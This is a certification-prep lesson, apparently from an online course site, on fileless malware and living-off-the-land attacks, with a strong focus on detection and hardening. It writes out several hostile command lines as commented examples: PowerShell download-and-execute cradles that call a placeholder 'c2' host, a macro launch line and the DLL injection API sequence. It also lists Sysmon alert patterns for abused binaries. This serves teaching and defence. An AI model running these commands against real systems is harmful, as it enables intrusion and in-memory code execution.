Fileless Malware and Living-off-the-Land Attacks
Learn how fileless malware abuses legitimate tools (PowerShell, WMI, macros) to evade traditional signature-based detection.
Fileless Malware and Living-off-the-Land Attacks is a free Cloud & IT Cert Prep lesson on CoddyKit — lesson 4 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the Cloud & IT Cert Prep learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.
Why Fileless Attacks Are So Effective
Traditional malware writes executable files to disk, giving signature-based antivirus an opportunity to scan and detect them. Fileless malware operates entirely in memory — or abuses legitimate tools already installed — leaving no traditional malware files for AV to find. This dramatically reduces detection rates against signature-based tools. Security vendors report that fileless malware attacks are 10x more likely to succeed than file-based attacks. The 2016 Bangladesh Bank heist, the 2017 Petya/NotPetya variants, and countless nation-state intrusions have leveraged fileless techniques to maintain persistence and evade detection.
Living-off-the-Land (LotL) Techniques
Living-off-the-land (LotL) attacks use legitimate tools and utilities already present on the victim system to carry out malicious actions. These tools — PowerShell, WMI, certutil, mshta, regsvr32, rundll32 — are trusted by OS and security software because they have legitimate purposes. An attacker who exclusively uses built-in tools can blend into normal administrative activity. The challenge for defenders is distinguishing malicious use of these tools from legitimate administrative work. This is why behavioral analytics and contextual awareness are more effective than signature detection for LotL techniques.
# Common LotL (LOLBins - Living Off the Land Binaries):
# certutil.exe - download files from internet
# mshta.exe - execute HTA (HTML Application) scripts
# regsvr32.exe - execute DLL or scriptlets remotely (Squiblydoo)
# rundll32.exe - execute DLL exports
# wmic.exe - WMI queries and lateral movement
# bitsadmin.exe - download/upload via BITS service
# powershell.exe - nearly unlimited capability
# cmstp.exe - bypass UAC, run scriptsPowerShell as an Attack Tool
PowerShell is the most abused LotL tool because it provides access to the full .NET framework, WMI, and Windows APIs with minimal trace when executed in memory. Attackers download PowerShell scripts directly into memory without writing to disk, encode commands in Base64 to obfuscate them from logging, and use features like reflection to load .NET assemblies in memory. The Empire and Cobalt Strike frameworks rely heavily on PowerShell for post-exploitation. Defenses include PowerShell Constrained Language Mode, ScriptBlock Logging (logs decoded script content), Module Logging, and restricting who can run PowerShell via Group Policy.
# PowerShell attack example (educational):
# Download and execute payload entirely in memory:
# powershell.exe -NoP -NonI -Exec Bypass -W Hidden -Enc <base64>
# IEX (New-Object Net.WebClient).DownloadString('http://c2/payload.ps1')
# Defense: Enable PowerShell logging (Group Policy):
# Computer Config -> Admin Templates -> Windows Components
# -> Windows PowerShell
# Turn on PowerShell Script Block Logging: Enabled
# Turn on Module Logging: Enabled
# Turn on Transcription: EnabledWMI for Persistence and Lateral Movement
WMI (Windows Management Instrumentation) is a powerful Windows feature for system management that attackers abuse for persistence and lateral movement. A WMI event subscription triggers a command when a specified event occurs (such as every 5 minutes, at logon, or when a specific process starts). These subscriptions survive reboots, are stored in the WMI repository, and do not appear as traditional scheduled tasks or registry run keys — evading many persistence detection tools. Attackers can also use WMI to execute processes on remote systems over DCOM (port 135), enabling lateral movement without network shares.
# WMI event subscription for persistence (educational):
# Filter: every 5 minutes
# Consumer: execute powershell command
# Binding: connect filter to consumer
#
# Detection:
# Monitor WMI subscriptions:
Get-WMIObject -Namespace root\subscription -Class __EventFilter
Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding
# Sysmon Event ID 19/20/21: WMI events loggedProcess Injection Techniques
Process injection allows malware to run malicious code inside the address space of a legitimate, trusted process (explorer.exe, svchost.exe, notepad.exe). The malicious code inherits the process's privileges and identity, making network connections appear to come from a trusted application. Common injection techniques include DLL injection (loading a malicious DLL into another process), process hollowing (creating a suspended process, unmapping its code, and replacing it with malicious code), and reflective DLL injection (loading a DLL directly from memory without writing to disk). EDR tools detect injection by monitoring API call sequences (OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread).
# DLL injection API sequence:
# 1. OpenProcess(PROCESS_ALL_ACCESS, target_pid)
# 2. VirtualAllocEx(target, NULL, dll_path_len, MEM_COMMIT, PAGE_READWRITE)
# 3. WriteProcessMemory(target, alloc_addr, dll_path, dll_path_len)
# 4. CreateRemoteThread(target, NULL, 0, LoadLibraryA, alloc_addr)
# Sysmon rules to detect injection:
# Event ID 8: CreateRemoteThread
# Event ID 10: ProcessAccess (targetted process opened)
# Event ID 25: ProcessTampering (image changed in memory)Macro-Enabled Documents as Entry Points
Many fileless attack chains begin with a malicious Office document containing VBA macros. When the user opens the document and enables macros (often lured by a message like 'Enable Content to view this document'), the macro runs PowerShell to download and execute a payload directly in memory. The payload never touches disk — only the original Office document does. This is why the Security+ exam emphasizes disabling macros and deploying ASR (Attack Surface Reduction) rules. Modern attacker-in-the-middle phishing frameworks (like Evilginx2) also deliver malicious documents after credential capture to deploy RATs.
# Malicious macro flow (educational):
# 1. User receives .docm via email
# 2. User opens, clicks 'Enable Content'
# 3. VBA macro runs:
# Shell 'powershell -ep bypass -nop -c "IEX(New-Object Net.WebClient).DownloadString(''http://c2/stage2.ps1'')"'
# 4. PowerShell downloads stage2 into memory
# 5. stage2 runs shellcode / loads Cobalt Strike Beacon in memory
# 6. No malware files on disk; only the .docm exists
# ASR rule to block:
# 'Block all Office applications from creating child processes'AMSI: Antimalware Scan Interface
AMSI (Antimalware Scan Interface) is a Windows API that enables applications (PowerShell, VBScript, JScript, Office) to submit content to the installed antivirus engine for scanning at runtime — even before the content is written to disk. AMSI allows AV vendors to scan script content that would otherwise be invisible to file-based scanning. Attackers attempt to bypass AMSI by patching the amsi.dll in memory to return a result of 'clean' for all submissions, or by obfuscating script content to evade signature matching. EDR tools monitor for AMSI patching attempts as an indicator of fileless attack activity.
# How AMSI works:
# PowerShell/WScript calls AmsiScanBuffer() before execution
# Windows Defender (or other AV) scans the buffer
# If malicious: AMSI returns AMSI_RESULT_DETECTED -> execution blocked
# AMSI bypass attempts to detect (Sysmon/EDR):
# Memory write to amsi.dll: patch AmsiScanBuffer to always return 0
# Unloading amsi.dll from process memory
# PowerShell Constrained Language Mode + AMSI = stronger defenseDetecting Fileless Attacks
Detecting fileless malware requires shifting from file-based detection to behavioral monitoring. Key detection strategies include: PowerShell ScriptBlock Logging captures decoded script content even if encoded on the command line; Sysmon logs process creation with full command lines, network connections with process attribution, and registry modifications; EDR behavioral rules alert on suspicious process relationships (Word spawning PowerShell, PowerShell spawning cmd, certutil downloading executables); and Windows Event Forwarding sends these logs to a centralized SIEM for correlation and long-term retention.
# Sysmon detection rules for LotL:
# Event ID 1: Process creation
# Alert if: Word.exe spawns cmd.exe or powershell.exe
# Alert if: certutil.exe with -urlcache -f parameters
# Alert if: mshta.exe with remote URL argument
# Event ID 3: Network connection
# Alert if: powershell.exe initiates outbound connection
# Alert if: mshta.exe connects to non-Microsoft IPs
# Event ID 7: Image loaded
# Alert if: known-bad DLL loaded into legitimate processRestricting LotL Tool Usage
Organizations can reduce LotL attack surface by restricting which users can run powerful tools. PowerShell Constrained Language Mode limits .NET calls, COM objects, and reflection that attackers rely on. AppLocker and WDAC (Windows Defender Application Control) can prevent specific binaries from running for non-admin users. The LOLBAS project catalogs known LotL binaries with their attack techniques, helping defenders identify which binaries to monitor or restrict. Not all LotL binaries can be blocked (many are required for OS function), but monitoring their usage with context is achievable.
# PowerShell Constrained Language Mode:
$ExecutionContext.SessionState.LanguageMode = 'ConstrainedLanguage'
# Or via WDAC policy; CLM automatically applied when WDAC is active
# AppLocker: block mshta.exe for standard users
# Computer Config -> Windows Settings -> Security Settings
# -> Application Control Policies -> AppLocker
# Executable Rules -> Add Rule -> Deny -> mshta.exe (path rule)
# WDAC (stronger than AppLocker):
# Cannot be bypassed by local admin unlike AppLocker
# Enforced at kernel levelMITRE ATT&CK Coverage of Fileless Techniques
The MITRE ATT&CK framework documents fileless and LotL techniques extensively. Key sub-techniques include: T1059.001 (PowerShell), T1047 (WMI execution), T1055 (Process Injection), T1140 (Deobfuscate/Decode Files), T1003.001 (LSASS Memory for credential dumping), and T1546.003 (WMI Event Subscription for persistence). Mapping your detection capabilities to these techniques using ATT&CK Navigator reveals coverage gaps and guides SIEM rule development. The framework also provides mitigation and detection guidance for each technique.
Defense Summary for Fileless Malware
A layered defense strategy for fileless malware includes: enabling PowerShell logging (ScriptBlock, Module, Transcription), deploying Sysmon with a comprehensive configuration, implementing AMSI with an updated AV engine, enforcing PowerShell Constrained Language Mode via WDAC, restricting macro execution in Office documents via Group Policy, deploying EDR with behavioral detection capabilities, and forwarding all logs to a SIEM with detection rules for known-bad process chains. The combination of restricting attack surface and improving visibility makes fileless attacks significantly harder to execute without detection.
Quick Check
Test your understanding of CompTIA Security+ (SY0-701) concepts from this lesson.
Lesson Recap
In this lesson you learned: fileless malware operates in memory and abuses legitimate OS tools like PowerShell, WMI, and certutil to evade signature-based detection, process injection techniques hide malicious code inside trusted processes by exploiting Windows memory management APIs, and behavioral detection via SIEM, Sysmon, and EDR combined with PowerShell logging and AMSI provides the strongest defense against these signature-evading attack chains. Next up we explore vulnerability scanning versus penetration testing.
Frequently asked questions
Is the “Fileless Malware and Living-off-the-Land Attacks” lesson free?
Yes — the full text of “Fileless Malware and Living-off-the-Land Attacks” is free to read here on the web, and the Cloud & IT Cert Prep course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the Cloud & IT Cert Prep course, upgrade to CoddyKit PRO.
What will I learn in “Fileless Malware and Living-off-the-Land Attacks”?
Learn how fileless malware abuses legitimate tools (PowerShell, WMI, macros) to evade traditional signature-based detection. You practise Cloud & IT Cert Prep with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.
Do I need any experience to start Cloud & IT Cert Prep?
No prior experience is required. Cloud & IT Cert Prep on CoddyKit is structured for beginners through advanced learners; this is — lesson 4 of 4, so you can start here or from the beginning and move at your own pace.
How long does the “Fileless Malware and Living-off-the-Land Attacks” lesson take?
Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.
Can I write and run code in this Cloud & IT Cert Prep lesson?
Yes. Every Cloud & IT Cert Prep lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.
All lessons in this course
- Viruses, Worms, and Trojans
- Ransomware and Cryptolockers
- Rootkits, Spyware, and Keyloggers
- Fileless Malware and Living-off-the-Land Attacks